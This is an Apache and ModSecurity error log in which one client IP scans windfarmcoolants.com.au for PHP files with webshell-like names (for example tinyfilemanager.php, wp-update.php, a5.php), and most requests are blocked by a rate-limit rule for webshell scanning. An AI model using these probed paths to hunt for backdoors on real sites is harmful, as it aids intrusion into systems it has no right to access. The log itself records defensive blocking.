[Sun Apr 19 05:40:37.373757 2026] [:error] [pid 47886:tid 47899] [client 172.213.136.193:27071] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aeP6VUSe8yiyuPrD7yPs2QAAAMs"]
[Sun Apr 19 05:40:38.840467 2026] [:error] [pid 15760:tid 15782] [client 172.213.136.193:21168] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "aeP6VvSdD_XHQMJ_ISsZJAAAAc4"]
[Sun Apr 19 05:40:39.943878 2026] [:error] [pid 15760:tid 15778] [client 172.213.136.193:40155] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "aeP6V_SdD_XHQMJ_ISsZJgAAAco"]
[Sun Apr 19 05:40:41.149939 2026] [:error] [pid 15760:tid 15781] [client 172.213.136.193:40808] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "aeP6WfSdD_XHQMJ_ISsZKwAAAc0"]
[Sun Apr 19 05:40:42.836656 2026] [:error] [pid 15760:tid 15791] [client 172.213.136.193:40153] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "aeP6WvSdD_XHQMJ_ISsZLgAAAdc"]
[Sun Apr 19 05:40:43.614083 2026] [:error] [pid 47772:tid 47813] [client 172.213.136.193:21176] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a2.php"] [unique_id "aeP6W4c0L16cb4smAz-f8gAAABg"]
[Sun Apr 19 05:40:44.734139 2026] [:error] [pid 15760:tid 15787] [client 172.213.136.193:17852] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aeP6XPSdD_XHQMJ_ISsZMAAAAdM"]
[Sun Apr 19 05:40:46.192982 2026] [:error] [pid 47775:tid 47862] [client 172.213.136.193:40173] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aeP6Xrmztjlk9tsmoexygwAAAJM"]
[Sun Apr 19 05:40:47.053071 2026] [:error] [pid 47772:tid 47789] [client 172.213.136.193:40145] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aeP6X4c0L16cb4smAz-f-gAAAAA"]
[Sun Apr 19 05:40:48.298337 2026] [:error] [pid 47773:tid 47826] [client 172.213.136.193:17800] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aeP6YOiBHdnCJDuPq9BVmwAAAEo"]
[Sun Apr 19 05:40:49.490137 2026] [:error] [pid 47773:tid 47819] [client 172.213.136.193:40163] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aeP6YeiBHdnCJDuPq9BVpgAAAEM"]
[Sun Apr 19 05:40:50.398051 2026] [:error] [pid 47773:tid 47826] [client 172.213.136.193:40789] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aeP6YuiBHdnCJDuPq9BVrAAAAEo"]
[Sun Apr 19 05:40:51.075651 2026] [:error] [pid 47773:tid 47820] [client 172.213.136.193:40168] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aeP6Y-iBHdnCJDuPq9BVsQAAAEQ"]
[Sun Apr 19 05:40:52.179388 2026] [:error] [pid 47772:tid 47794] [client 172.213.136.193:27033] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aeP6ZIc0L16cb4smAz-gBQAAAAU"]
[Sun Apr 19 05:40:53.710920 2026] [:error] [pid 47772:tid 47807] [client 172.213.136.193:32553] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeP6ZYc0L16cb4smAz-gCwAAABI"]
[Sun Apr 19 05:40:54.521668 2026] [:error] [pid 47772:tid 47791] [client 172.213.136.193:21125] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeP6Zoc0L16cb4smAz-gDQAAAAI"]
[Sun Apr 19 05:40:55.517819 2026] [:error] [pid 47773:tid 47821] [client 172.213.136.193:17796] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeP6Z-iBHdnCJDuPq9BVvQAAAEU"]
[Sun Apr 19 05:40:56.274942 2026] [:error] [pid 15763:tid 15812] [client 172.213.136.193:40823] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeP6aLMXv1Y1THOoxaAj0wAAAhA"]
[Sun Apr 19 05:40:57.905079 2026] [:error] [pid 15764:tid 15848] [client 172.213.136.193:32570] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aeP6aWLL_sqdSHoVp-Tr0gAAAlY"]
[Sun Apr 19 05:40:58.535526 2026] [:error] [pid 15694:tid 15724] [client 172.213.136.193:27035] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aeP6arimB-jol1fwqAq7pgAAAYE"]
[Sun Apr 19 05:40:59.425738 2026] [:error] [pid 47886:tid 47892] [client 172.213.136.193:21135] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aeP6a0Se8yiyuPrD7yPs7AAAAMQ"]
[Sun Apr 19 05:41:00.582249 2026] [:error] [pid 15764:tid 15844] [client 172.213.136.193:40820] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aeP6bGLL_sqdSHoVp-Tr1QAAAlI"]
[Sun Apr 19 05:41:01.272752 2026] [:error] [pid 47772:tid 47806] [client 172.213.136.193:38399] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aeP6bYc0L16cb4smAz-gFgAAABE"]
[Sun Apr 19 05:41:02.190712 2026] [:error] [pid 15765:tid 15863] [client 172.213.136.193:27045] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aeP6bvRqinw-W5EwQ76DugAAAoo"]
[Sun Apr 19 05:41:03.413587 2026] [:error] [pid 15765:tid 15864] [client 172.213.136.193:21148] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aeP6b_Rqinw-W5EwQ76DvgAAAos"]
[Sun Apr 19 05:41:04.486921 2026] [:error] [pid 47772:tid 47798] [client 172.213.136.193:38381] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "aeP6cIc0L16cb4smAz-gGwAAAAk"]
[Sun Apr 19 05:41:05.989106 2026] [:error] [pid 15693:tid 15706] [client 172.213.136.193:38355] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aeP6ccNMD-ccazQlTskWHgAAAUo"]
[Sun Apr 19 05:41:06.892539 2026] [:error] [pid 15760:tid 15787] [client 172.213.136.193:38380] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aeP6cvSdD_XHQMJ_ISsZTwAAAdM"]
[Sun Apr 19 05:41:09.228013 2026] [:error] [pid 47772:tid 47798] [client 172.213.136.193:21147] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aeP6dYc0L16cb4smAz-gKwAAAAk"]
[Sun Apr 19 05:41:10.085067 2026] [:error] [pid 47772:tid 47813] [client 172.213.136.193:40179] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ol.php"] [unique_id "aeP6doc0L16cb4smAz-gLgAAABg"]
[Sun Apr 19 05:41:11.109503 2026] [:error] [pid 15764:tid 15842] [client 172.213.136.193:17843] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aeP6d2LL_sqdSHoVp-Tr3QAAAlA"]
[Sun Apr 19 05:41:11.885459 2026] [:error] [pid 15764:tid 15846] [client 172.213.136.193:17797] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aeP6d2LL_sqdSHoVp-Tr3wAAAlQ"]
[Sun Apr 19 05:41:12.762989 2026] [:error] [pid 15765:tid 15877] [client 172.213.136.193:21139] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aeP6ePRqinw-W5EwQ76DygAAApg"]
[Sun Apr 19 05:41:14.093691 2026] [:error] [pid 47886:tid 47907] [client 172.213.136.193:21149] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f6.php"] [unique_id "aeP6ekSe8yiyuPrD7yPs8wAAANM"]
[Sun Apr 19 05:41:15.294201 2026] [:error] [pid 47886:tid 47891] [client 172.213.136.193:40786] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aeP6e0Se8yiyuPrD7yPs9QAAAMM"]
[Sun Apr 19 05:41:15.978682 2026] [:error] [pid 47886:tid 47910] [client 172.213.136.193:38351] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aeP6e0Se8yiyuPrD7yPs9wAAANY"]
[Sun Apr 19 05:41:16.840716 2026] [:error] [pid 47886:tid 47905] [client 172.213.136.193:40175] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aeP6fESe8yiyuPrD7yPs-QAAANE"]
[Sun Apr 19 05:41:18.737306 2026] [:error] [pid 47772:tid 47805] [client 172.213.136.193:40782] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aeP6foc0L16cb4smAz-gPgAAABA"]
[Sun Apr 19 05:41:20.833997 2026] [:error] [pid 47886:tid 47911] [client 172.213.136.193:38350] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Sun Apr 19 05:41:21.138020 2026] [:error] [pid 47886:tid 47888] [client 172.213.136.193:38350] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Sun Apr 19 05:41:21.373048 2026] [:error] [pid 47886:tid 47891] [client 172.213.136.193:38350] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Sun Apr 19 05:41:21.844702 2026] [:error] [pid 47886:tid 47910] [client 172.213.136.193:38350] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-act.php
[Sun Apr 19 05:41:22.080078 2026] [:error] [pid 47886:tid 47905] [client 172.213.136.193:38350] File does not exist: /usr/local/apache/htdocs/suspended-page/xqq.php
[Sun Apr 19 05:41:22.318970 2026] [:error] [pid 47886:tid 47895] [client 172.213.136.193:38350] File does not exist: /usr/local/apache/htdocs/suspended-page/plss3.php
[Sun Apr 19 05:41:22.778964 2026] [:error] [pid 47886:tid 47902] [client 172.213.136.193:38350] File does not exist: /usr/local/apache/htdocs/suspended-page/aaa.php
[Sun Apr 19 05:41:23.020610 2026] [:error] [pid 47886:tid 47901] [client 172.213.136.193:38350] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Sun Apr 19 05:41:23.494442 2026] [:error] [pid 47886:tid 47898] [client 172.213.136.193:38350] File does not exist: /usr/local/apache/htdocs/suspended-page/tinyfilemanager.php
[Sun Apr 19 05:41:23.795401 2026] [:error] [pid 47886:tid 47891] [client 172.213.136.193:38350] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "aeP6g0Se8yiyuPrD7yPtFAAAAMM"]
[Sun Apr 19 05:41:24.395361 2026] [:error] [pid 15760:tid 15774] [client 172.213.136.193:27025] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "aeP6hPSdD_XHQMJ_ISsZbQAAAcY"]
[Sun Apr 19 05:41:25.349922 2026] [:error] [pid 47773:tid 47820] [client 172.213.136.193:40797] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "aeP6heiBHdnCJDuPq9BV2AAAAEQ"]
[Sun Apr 19 05:41:25.945408 2026] [:error] [pid 47773:tid 47832] [client 172.213.136.193:32564] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "aeP6heiBHdnCJDuPq9BV3AAAAFA"]
[Sun Apr 19 05:41:26.669871 2026] [:error] [pid 47773:tid 47829] [client 172.213.136.193:27044] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "aeP6huiBHdnCJDuPq9BV3wAAAE0"]
[Sun Apr 19 05:41:27.627473 2026] [:error] [pid 15693:tid 15711] [client 172.213.136.193:21124] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "aeP6h8NMD-ccazQlTskWKQAAAU8"]
[Sun Apr 19 05:41:28.700835 2026] [:error] [pid 47886:tid 47901] [client 172.213.136.193:40132] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "aeP6iESe8yiyuPrD7yPtHQAAAM0"]
[Sun Apr 19 05:41:29.275287 2026] [:error] [pid 15764:tid 15835] [client 172.213.136.193:17853] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sbhu.php"] [unique_id "aeP6iWLL_sqdSHoVp-Tr7AAAAkk"]
[Sun Apr 19 05:41:30.740444 2026] [:error] [pid 47773:tid 47821] [client 172.213.136.193:32569] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "aeP6iuiBHdnCJDuPq9BV5wAAAEU"]
[Sun Apr 19 05:41:31.642215 2026] [:error] [pid 47775:tid 47846] [client 172.213.136.193:27010] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "aeP6i7mztjlk9tsmoexyiwAAAIM"]
[Sun Apr 19 05:41:32.708476 2026] [:error] [pid 15764:tid 15828] [client 172.213.136.193:17802] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "aeP6jGLL_sqdSHoVp-Tr7gAAAkI"]
[Sun Apr 19 05:41:33.521491 2026] [:error] [pid 15764:tid 15833] [client 172.213.136.193:32565] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-blog.php"] [unique_id "aeP6jWLL_sqdSHoVp-Tr8QAAAkc"]
[Sun Apr 19 05:41:34.921450 2026] [:error] [pid 15764:tid 15831] [client 172.213.136.193:40826] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeP6jmLL_sqdSHoVp-Tr-QAAAkU"]
[Sun Apr 19 05:41:35.580022 2026] [:error] [pid 47772:tid 47810] [client 172.213.136.193:21144] [client 172.213.136.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeP6j4c0L16cb4smAz-gXwAAABU"]
